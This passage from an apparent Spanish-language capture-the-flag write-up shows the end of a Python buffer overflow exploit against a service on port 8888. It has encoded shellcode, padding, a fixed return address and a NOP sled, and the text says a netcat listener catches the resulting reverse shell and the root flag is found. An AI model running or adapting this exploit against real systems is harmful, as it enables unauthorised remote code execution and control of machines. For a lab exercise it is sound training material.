b"\x88\x3d\x2d\x3f\xde\x19\x32\xbe\x33\x12\x4e\x4b\xb2"
b"\xf4\xc6\x0f\x91\xd0\x83\xd4\xb8\x41\x6e\xba\xc5\x91"
b"\xd1\x63\x60\xda\xfc\x70\x19\x81\x68\xb4\x10\x39\x69"
b"\xd2\x23\x4a\x5b\x7d\x98\xc4\xd7\xf6\x06\x13\x17\x2d"
b"\xfe\x8b\xe6\xce\xff\x82\x2c\x9a\xaf\xbc\x85\xa3\x3b"
b"\x3c\x29\x76\xeb\x6c\x85\x29\x4c\xdc\x65\x9a\x24\x36"
b"\x6a\xc5\x55\x39\xa0\x6e\xff\xc0\x23\x9b\x0a\xc4\xbc"
b"\xf3\x08\xd8\xc3\xb8\x84\x3e\xa9\xae\xc0\xe9\x46\x56"
b"\x49\x61\xf6\x97\x47\x0c\x38\x13\x64\xf1\xf7\xd4\x01"
b"\xe1\x60\x15\x5c\x5b\x26\x2a\x4a\xf3\xa4\xb9\x11\x03"
b"\xa2\xa1\x8d\x54\xe3\x14\xc4\x30\x19\x0e\x7e\x26\xe0"
b"\xd6\xb9\xe2\x3f\x2b\x47\xeb\xb2\x17\x63\xfb\x0a\x97"
b"\x2f\xaf\xc2\xce\xf9\x19\xa5\xb8\x4b\xf3\x7f\x16\x02"
b"\x93\x06\x54\x95\xe5\x06\xb1\x63\x09\xb6\x6c\x32\x36"
b"\x77\xf9\xb2\x4f\x65\x99\x3d\x9a\x2d\xb9\xdf\x0e\x58"
b"\x52\x46\xdb\xe1\x3f\x79\x36\x25\x46\xfa\xb2\xd6\xbd"
b"\xe2\xb7\xd3\xfa\xa4\x24\xae\x93\x40\x4a\x1d\x93\x40"
) #ESP
buff1 = b"A"*1052
NOPS = b"\x90"*20
buff = buff1 + pack("<I", 0x68a98a7b) + NOPS + shellcode
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, 8888))
s.send(buff)
if __name__ == '__main__':
code()
Por último pongo un netcat a la escucha por el puerto 443, ejecuto el exploit y consigo una shell reversa.
python3 privescexploit.py

La flag de root la encuentro en la ruta C:\Users\Administrator\Desktop\root.txt.

